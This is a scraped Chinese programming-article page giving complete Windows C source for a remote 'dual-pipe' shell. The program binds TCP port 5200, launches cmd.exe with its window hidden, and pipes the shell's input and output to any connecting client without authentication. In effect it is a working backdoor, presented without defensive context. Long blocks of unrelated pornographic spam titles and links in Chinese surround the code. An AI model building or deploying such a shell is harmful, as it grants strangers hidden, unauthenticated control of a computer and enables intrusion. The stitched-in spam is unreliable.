麻豆小视频在线观看_中文黄色一级片_久久久成人精品_成片免费观看视频大全_午夜精品久久久久久久99热浪潮_成人一区二区三区四区

首頁(yè) > 學(xué)院 > 編程設(shè)計(jì) > 正文

簡(jiǎn)單遠(yuǎn)程雙管道cmd

2020-07-14 13:42:44
字體:
來(lái)源:轉(zhuǎn)載
供稿:網(wǎng)友
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"Ws2_32")

int main()
{
WSADATA ws;
SOCKET listenFD;
char Buff[1024];
int ret;

//初始化WSA
WSAStartup(MAKEWORD(2,2),&ws);

//建立socket
listenFD=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

//監(jiān)聽(tīng)本機(jī)5200端口
struct sockaddr_in server;
server.sin_family=AF_INET;
server.sin_port=htons(5200);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);

//如果客戶請(qǐng)求5200端口,接受連接
int iAddrSize=sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);

SECURITY_ATTRIBUTES pipeattr1,pipeattr2;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;

//建立匿名管道1
pipeattr1.nLength=12;
pipeattr1.lpSecurityDescriptor=0;
pipeattr1.bInheritHandle=true;
CreatePipe(&hReadPipe1,&hWritePipe1,&pipeattr1,0);

//建立匿名管道2
pipeattr2.nLength=12;
pipeattr2.lpSecurityDescriptor=0;
pipeattr2.bInheritHandle=true;
CreatePipe(&hReadPipe2,&hWritePipe2,&pipeattr2,0);

STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
si.hStdInput=hReadPipe2;
si.hStdOutput=si.hStdError=hWritePipe1;
char cmdline[]="cmd.exe";
PROCESS_INFORMATION ProcessInformation;
//建立進(jìn)程
ret=CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);

unsigned long lBytesRead;
while (1)
{
//檢查管道1,即CMD進(jìn)程是否有輸出
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if (lBytesRead)
{
//管道1有輸出,輸出結(jié)果發(fā)給遠(yuǎn)程客戶機(jī)
ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if (!ret) break;
ret=send(clientFD,Buff,lBytesRead,0);
if (ret<=0) break;
}
else
{
//否則,接受遠(yuǎn)程客戶機(jī)命令
lBytesRead=recv(clientFD,Buff,1024,0);
if (lBytesRead<=0) break;
//將命令寫(xiě)入管道2,即傳給CMD進(jìn)程
ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
if (!ret) break;
}
}
return 0;
}
發(fā)表評(píng)論 共有條評(píng)論
用戶名: 密碼:
驗(yàn)證碼: 匿名發(fā)表
主站蜘蛛池模板: 精品国产一区二区三区四区在线 | 黄视频免费在线观看 | 麻豆视频在线观看免费网站 | 毛片视频免费观看 | 亚洲成人精品久久 | 欧美在线观看视频网站 | 特级毛片a级毛片100免费 | 看免费的毛片 | 日本在线一区二区 | 国产免费观看一区二区三区 | 在线高清中文字幕 | 日本黄色免费片 | 久久久久夜色精品国产老牛91 | 国产九色视频在线观看 | 永久免费在线观看av | 天堂在线中文资源 | 免费观看视频在线 | 一级做a爱片性色毛片 | 秋霞a级毛片在线看 | 国产精品性夜天天视频 | 特级黄aaaaaaaaa毛片 | 欧美a在线观看 | 国产精品久久久久网站 | 国产视频精品在线 | 午夜小影院 | 一级看片免费视频 | 国产精品亚洲精品久久 | 国产羞羞网站 | 免费观看一级黄色片 | 久久影院免费观看 | 日韩欧美中文字幕视频 | 三级xxxx | 欧美亚洲一区二区三区四区 | 操你逼 | 91av在线免费观看 | 久久久国产电影 | 国产资源在线免费观看 | 成人精品一区二区三区中文字幕 | 成人免费一区二区三区在线观看 | 成人店女老板视频在线看 | 国产小视频在线 |